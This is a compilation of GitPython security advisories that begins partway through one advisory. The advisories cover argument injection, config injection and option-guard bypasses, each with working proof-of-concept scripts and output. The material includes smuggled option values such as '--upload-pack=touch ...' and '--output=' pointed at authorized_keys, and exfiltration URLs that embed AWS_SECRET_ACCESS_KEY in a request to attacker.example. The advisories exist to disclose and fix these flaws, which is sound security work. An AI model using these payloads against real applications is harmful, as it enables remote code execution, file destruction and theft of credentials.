proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs)   # args_list == ["--", *paths]

##### Repo.blame
data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs)

rev is placed before --, with no leading-dash check anywhere in the path. A caller passing rev="--output=/path" (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:

git rev-list --output=/path --

git rev-list/log/blame honour --output=<file>, which open()s and truncates the file before validating the revision — so the file is destroyed even though Git then errors out on the bad revision.

PoC

All three PoCs are self-contained, run against the released GitPython 3.1.50 under default Git configuration, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.

Install
python3 -m venv venv && . venv/bin/activate
pip install GitPython           # resolves to 3.1.50
python -c "import git; print(git.__version__)"   # 3.1.50
PoC 1 — command execution via Repo.archive

##### archive_rce.py
import io, os, tempfile, subprocess, git

d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)

marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)

##### a service lets a user export a repo and forwards their options dict
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
    repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError as e:
    print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])

print('[+] marker present:', os.path.exists(marker))

Verbatim output:

[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)
[+] marker present: True

git config --get protocol.ext.allow returns nothing (unset = default), confirming no special config is required.

PoC 2 — command execution via git.ls_remote(upload_pack=...)

##### lsremote_rce.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')
if os.path.exists(marker): os.remove(marker)
try:
    repo.git.ls_remote('.', upload_pack='touch '+marker+';')
except git.exc.GitCommandError as e:
    print('[*] git err:', str(e).splitlines()[0][:50])
print('[+] ls-remote marker present:', os.path.exists(marker))

Verbatim output:

[*] git err: Cmd('git') failed due to: exit code(128)
[+] ls-remote marker present: True
PoC 3 — arbitrary file overwrite via a benign-looking rev

##### itercommits_filewrite.py
import os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')
open(victim,'w').write('do not delete\n')
print('[*] before:', repr(open(victim).read()))
user_ref = '--output=' + victim          # value an app forwards as a "ref/branch"
try:
    list(repo.iter_commits(user_ref))
except git.exc.GitCommandError as e:
    print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])
print('[+] after :', repr(open(victim).read()), '<- truncated')

Verbatim output:

[*] before: 'do not delete\n'
[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated

Severity

  • CVSS Score: 8.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

GHSA-rwj8-pgh3-r573

More information

Details

Summary

Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL.

Details

Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.

Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:

git/cmd.py (v3.1.50), lines 907–925:

@&#8203;classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
    """Remove any backslashes from URLs to be written in config files.
    ...
    """
    if is_cygwin is None:
        is_cygwin = cls.is_cygwin()

    if is_cygwin:
        url = cygpath(url)
    else:
        url = os.path.expandvars(url)          # <-- line 921
        if url.startswith("~"):
            url = os.path.expanduser(url)
        url = url.replace("\\\\", "\\").replace("\\", "/")
    return url

Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:

git/repo/base.py (v3.1.50), lines 1407–1418:

if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)
if not allow_unsafe_options:
    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)
if not allow_unsafe_options and multi:
    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)

proc = git.clone(
    multi,
    "--",
    Git.polish_url(url),          # <-- line 1417: expanded URL sent to `git clone`
    clone_path,
    ...
)

Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:

https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git

is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.

polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL.

Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reaches git, an attacker who additionally controls any environment variable in the server process could set e.g. X=ext::sh -c '...' and submit url="$X"; the raw string $X passes the ext:: filter, then expands to an ext:: remote-helper transport that git will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.

PoC

Tested against gitpython==3.1.50 on Linux with Python 3 and git on PATH.

python3 -m venv /tmp/gp-venv
/tmp/gp-venv/bin/pip install gitpython==3.1.50
/tmp/gp-venv/bin/python poc.py

poc.py:


#!/usr/bin/env python3
"""
PoC: environment-variable exfiltration via Repo.clone_from() URL.

Demonstrates that an attacker-controlled `url` argument to Repo.clone_from()
is passed through os.path.expandvars() before being given to `git clone`,
so `$NAME` tokens in the URL are replaced with the server process's
environment-variable values and transmitted to the attacker-named host.

The PoC intercepts the Popen argv to show the exact URL handed to `git`
without performing real network I/O.
"""
import os
import sys
import subprocess
import tempfile

##### Simulate a sensitive server-side environment variable.
os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

import git                              # noqa: E402
from git import Git, Repo               # noqa: E402

print(f"gitpython version: {git.__version__}")

##### --- Layer 1: Git.polish_url() directly --------------------------------------
attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git"
polished = Git.polish_url(attacker_url)
print("\n[Layer 1] polish_url result:")
print(f"  input : {attacker_url}")
print(f"  output: {polished}")
if os.environ["AWS_SECRET_ACCESS_KEY"] in polished:
    print("  -> secret SUBSTITUTED into URL by polish_url()")

##### --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------
captured = {}
orig_popen = subprocess.Popen

class CapturingPopen(orig_popen):
    def __init__(self, cmd, *a, **kw):
        if isinstance(cmd, (list, tuple)) and "clone" in cmd:
            captured["cmd"] = list(cmd)
        super().__init__(cmd, *a, **kw)

subprocess.Popen = CapturingPopen
import git.cmd as gitcmd                # noqa: E402
gitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen

dest = tempfile.mkdtemp(prefix="gp_poc_")
try:
    Repo.clone_from(attacker_url, os.path.join(dest, "out"))
except Exception as e:
    # The clone fails (attacker.example does not resolve); we only need argv.
    print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}")

subprocess.Popen = orig_popen

print("\n[Layer 2] argv passed to `git clone` subprocess:")
for tok in captured.get("cmd", []):
    print(f"  {tok}")

cmd = captured.get("cmd", [])
url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None
print(f"\n[Layer 2] URL argument given to git: {url_arg}")

secret = os.environ["AWS_SECRET_ACCESS_KEY"]
if url_arg and secret in url_arg:
    print(
        "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated "
        "into the remote clone URL; git would transmit it to attacker.example."
    )
    sys.exit(0)
print("\nNOT VULNERABLE")
sys.exit(1)

Expected output:

gitpython version: 3.1.50

[Layer 1] polish_url result:
  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git
  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  -> secret SUBSTITUTED into URL by polish_url()

[Layer 2] clone_from raised (expected): GitCommandError

[Layer 2] argv passed to `git clone` subprocess:
  git
  clone
  -v
  --
  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  /tmp/gp_poc_XXXXXXXX/out

[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git

VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.

The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, git would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.

Impact

Any application that calls Repo.clone_from() (or Repo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.

Suggested fix: Remove the os.path.expandvars() (and os.path.expanduser()) call from Git.polish_url() for inputs that are remote URLs (contain :// or match user@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on Repo(path, expand_vars=…). Additionally, apply check_unsafe_protocols() to the post-transformation URL so no future polish_url change can silently bypass the ext:: filter.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)

GHSA-3rp5-jjmw-4wv2

More information

Details

Summary

In GitPython <= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the [...] header with no other escaping. A section/subsection name that contains ] [ " closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's .gitmodules, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted .git/config, an attacker can set core.sshCommand (or alias.*, core.pager, core.fsmonitor) and achieve remote code execution on the victim's next git operation. Likely CWE-74 (Injection).

This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed newline injection into config values/names (patched in 3.1.50); the [r\n\x00] guard added for them does not stop a same-line section break inside a name.

Details

The only guard applied to section/option names before writing is _assure_config_name_safe, which uses a regex that matches solely CR/LF/NUL:

git/config.py:75,897-899 (GitPython 3.1.52):

UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]")
...
def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None:
    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):
        raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label)

The name is then serialized into the header with no escaping of ], [, ", space, = or #:

git/config.py:693:

fp.write(("[%s]\n" % name).encode(defenc))

For submodules the name is wrapped as submodule "<name>" (git/objects/submodule/util.py:39, return f'submodule "{name}"'), which supplies the balancing quote. A submodule named:

x"] [core] sshCommand=CMD #

therefore serializes to the header [submodule "x"] [core] sshCommand=CMD #"]. git parses everything after the first ] on that line as a fresh section, yielding core.sshCommand=CMD (the trailing #"] is an inline comment). No CR/LF/NUL appears, so _assure_config_name_safe never fires.

The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's .git/config:

  • Repo.create_submodule(name=<untrusted>, ...)Submodule.addgit/objects/submodule/base.py:619 writer.set_value(sm_section(name), "url", url) — a single call, no hostile remote required.
  • Repo.clone_from(<hostile url>) + repo.submodule_update(init=True)git/objects/submodule/base.py:855 writer.set_value(sm_section(self.name), "url", self.url), where self.name is read unvalidated from the cloned repo's .gitmodules.

Asymmetry: the sibling class is blocked — a newline in a config value, e.g. set_value("core", "editor", "x\n\tsshCommand=CMD"), raises ValueError. The section-name bracket payload is not caught by the same guard.

PoC

Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with git config --get; no ssh/fetch/push is run and nothing is executed.


#!/usr/bin/env python3
"""Minimal PoC: git-config section-name injection in GitPython==3.1.52."""
from importlib.metadata import version
import os, tempfile, subprocess
import git

print(f"# GitPython {version('GitPython')}")        # version proof -- first line

MARKER = "MARKER_9f3a"                               # inert; never executed
tmp = tempfile.mkdtemp()
env = {**os.environ, "HOME": tmp,
       "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull,
       "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c",
       "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}

def run(*a, cwd=None):
    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

##### A benign local repo used as the submodule url (a plain path, no network).
src = os.path.join(tmp, "src"); os.makedirs(src)
run("git", "init", "-q", src)
open(os.path.join(src, "f"), "w").write("x")
run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)
suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl)

def parent_repo():
    p = tempfile.mkdtemp(dir=tmp)
    run("git", "init", "-q", p)
    open(os.path.join(p, "r"), "w").write("x")
    run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p)
    return p

def injected_sshcommand(parent):
    r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),
            "--get", "core.sshCommand")
    return (r.returncode, r.stdout.strip())

benign = "docs"
evil   = f'x"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]

p_control = parent_repo()
git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl)
p_exploit = parent_repo()
git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl)

ctl = injected_sshcommand(p_control)
exp = injected_sshcommand(p_exploit)
header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines()
          if l.startswith("[submodule")][0]

print("control name :", repr(benign))
print("  git core.sshCommand ->", ctl, "(unset)")
print("exploit name :", repr(evil))
print("  written header      ->", header)
print("  git core.sshCommand ->", exp)

assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand"
assert exp == (0, MARKER), "not reproduced"
print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} "
      f"into the victim's trusted .git/config (git would run it on the next ssh op)")

Run:

uv run --with GitPython==3.1.52 python poc.py

Observed output:


##### GitPython 3.1.52
control name : 'docs'
  git core.sshCommand -> (1, '') (unset)
exploit name : 'x"] [core] sshCommand=MARKER_9f3a #'
  written header      -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"]
  git core.sshCommand -> (0, 'MARKER_9f3a')
VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)

The benign name yields a single clean [submodule "docs"] section; the malicious name yields an injected core.sshCommand. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced " makes git reject the header); the submodule "<name>" wrapper balances them automatically.

Impact

Arbitrary attacker-controlled write into the victim's repository-local .git/config, which git fully trusts. core.sshCommand is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (alias.*, core.pager, core.fsmonitor) fire on more common operations. Reachable in default configuration through two realistic paths:

  • an application that constructs a submodule from untrusted input via Repo.create_submodule(name=...) (single call); or
  • Repo.clone_from of an untrusted repository followed by submodule_update — the canonical submodule threat model, where the malicious name is read from the cloned .gitmodules.

No non-default git settings are required. Primarily a Unix vector: on Windows the " in the resulting .git/modules/<name> directory name can abort the fresh-clone write branch (the direct config-API and create_submodule sinks are unaffected).

Reject or escape configuration section/subsection/option names that contain ], [, ", or leading/trailing whitespace (or apply git's own section-name escaping) in _assure_config_name_safe / write_section, rather than only CR/LF/NUL. Validating submodule names before they reach sm_section would additionally close the clone-driven path.

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks

GHSA-6p8h-3wgx-97gf

More information

Details

Summary

GitPython's unsafe_git_clone_options denylist omits --template. git clone --template=<dir> copies <dir>/hooks/ into the new repository and runs them (post-checkout fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default allow_unsafe_options=False configuration.

Root Cause

base.py:145-152 defines unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]--template is absent. The guard candidate ['--template'] passes check_unsafe_options (verified). git copies the hook directory and executes post-checkout at checkout time. git's protocol.allow/GIT_ALLOW_PROTOCOL do not gate --template; the incomplete denylist is the only defense.

Impact

Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, /tmp, or attacker-writable network paths), reflected as AC:H.

Proof of Concept

##### attacker stages <dir>/hooks/post-checkout (chmod +x)
from git import Repo
Repo.clone_from(src, dst, template='<dir>')   # post-checkout hook executes -> marker created (verified)
Attack Chain
  1. Setup: attacker stages <dir>/hooks/post-checkout (chmod +x). Guard: n/a (filesystem).
  2. Entry: Repo.clone_from(url, path, template='<dir>'). Guard: check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options). Bypass proof: --template not on the denylist -> passes (verified candidate ['--template'], no error).
  3. Sink: git copies the hook and executes post-checkout at checkout. Impact: ACE, default config (verified marker created).
Bypass Evidence

Live-verified on HEAD (tag 3.1.53): guard candidate ['--template'] passed with no error; staged post-checkout hook executed during clone_from, creating the marker. Independent of the value-smuggle bypass (--template is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.

Affected Versions

<= 3.1.53

Suggested Fix

Add --template (and audit for other hook/exec-influencing options) to unsafe_git_clone_options.


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)

GHSA-fjr4-x663-mwxc

More information

Details

Summary

Diffable.diff() forwards **kwargs straight into diff/diff_tree with no check_unsafe_options guard. Diffable is mixed into Commit, Tree, IndexFile, and Submodule, giving a broad surface. git diff --output=<path> writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.

Root Cause

diff.py:188-283 builds and runs the diff command with no check_unsafe_options anywhere in the method (grep-confirmed). Additionally diff.py:265 does args.insert(0, other), placing the caller-supplied other ref BEFORE the -- separator, so a value of --output=/path is parsed by git as an option — a value-only control path requiring no kwarg key.

Impact

Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. ~/.ssh/authorized_keys, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.

Proof of Concept

##### Key-control:
commit.diff(other_commit, output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff (105 bytes verified)

##### Value-control (attacker controls only the ref string):
commit.diff(other='--output=/home/app/.ssh/authorized_keys')          # 14-byte victim -> 146 bytes of diff-tree output
Attack Chain
  1. Entry (value-control): commit.diff(other=<user ref>) with other = "--output=/home/app/.ssh/authorized_keys". Guard: none in Diffable.diff. Bypass proof: no check_unsafe_options in the method body (grep); other inserted pre--- at diff.py:265.
  2. Sink: git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ... -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.
Bypass Evidence

Live-verified on HEAD (tag 3.1.53): both key-control (output=) and value-control (other='--output=...') overwrote a victim file with real diff-tree content; argv confirmed ['git','diff-tree','<sha>','--output=/victim','-r',...]. This is the same value-control model GHSA-956x deemed fix-worthy for iter_commits(rev='--output=') — but diff is a distinct, unguarded sink NOT touched by that fix.

Affected Versions

<= 3.1.53

Suggested Fix

Add check_unsafe_options to Diffable.diff (mirroring iter_commits/archive), and/or place --end-of-options before the other ref so it cannot be parsed as an option.


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution

GHSA-r9mr-m37c-5fr3

More information

Details

Summary

GitPython's check_unsafe_options guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the default allow_unsafe_options=False configuration this yields arbitrary command execution via --upload-pack.

Root Cause

The guard builds its candidate option list from kwarg KEYS only: _option_candidates([], {"n":"--upload-pack=<cmd>"}) returns ['-n'] (cmd.py:1042-1046 derives the candidate from the key, never the value). -n is not on the denylist, so check_unsafe_options passes. But transform_kwarg('n', value, split_single_char_options=True) (cmd.py:1600-1606) emits two argv tokens ['-n', '--upload-pack=<cmd>']. git then parses the second token as --upload-pack and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.

Impact

Arbitrary OS command execution as the host process (via --upload-pack) in the default configuration, affecting all guarded methods since they all build candidates through the name-only _option_candidates.

Proof of Concept
from git import Repo
Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack")

##### /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED.

File-write variant on a guarded revision command: iter_commits('HEAD', g='--output=/path') -> candidate ['-g'] passes, argv ['-g','--output=/path'], victim file truncated.

Attack Chain
  1. Entry: app forwards a user-supplied options dict -> Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack"). Guard: check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options) at base.py. Bypass proof: _option_candidates([], {"n":"--upload-pack=..."}) -> ['-n'] (key-only), not on denylist -> no UnsafeOptionError (verified live).
  2. Transform: transform_kwarg('n', value, split_single_char_options=True) -> ['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.
  3. Sink: git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).
Bypass Evidence

Live-verified on HEAD (tag 3.1.53): _option_candidates returns key-only candidate ['-n']; transform_kwargs emits the smuggled --upload-pack= token; clone_from with the payload created the marker file; the direct-name upload_pack= form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector.

Affected Versions

<= 3.1.53

Suggested Fix

Make _option_candidates also emit candidates derived from single-character kwarg VALUES when split_single_char_options is in effect, OR run check_unsafe_options over the fully-transformed argv rather than the reconstructed name-only candidate list.


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

GHSA-94p4-4cq8-9g67

More information

Details

Summary

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

Root Cause

Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.

git/remote.py:811, Remote.create:

url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config

check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.

Steps to Reproduce
Prerequisites
  • Python 3.9+
  • git on PATH (for the fetch step)
  • GitPython 3.1.53 (installed below)
Step 1: Install GitPython 3.1.53 in a clean venv
mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53
Step 2: Write the PoC
cat > poc.py <<'PYEOF'

#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

##### Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

##### Local HTTP server standing in for attacker.example.
captured = []

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass

srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

##### Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port

def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")

print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)

try:
    remote.fetch()          # transmits the expanded URL to the attacker host
except Exception:
    pass                    # fetch fails after the request is already sent

srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received   :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)

print()
if SENTINEL in stored and over_network:
    print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
    print("VULNERABLE: env-var expanded into stored git-config URL")
else:
    print("not reproduced")
PYEOF
Step 3: Run it
cd /tmp/gp-remote-poc && ./venv/bin/python poc.py

Expected output (the listener's ephemeral port is shown as PORT):

gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True

VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host

The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.

Suggested Fix

Pass expand_vars=False at the remaining URL callers, matching the clone fix:

  • git/remote.py Remote.create: url = Git.polish_url(url, expand_vars=False)
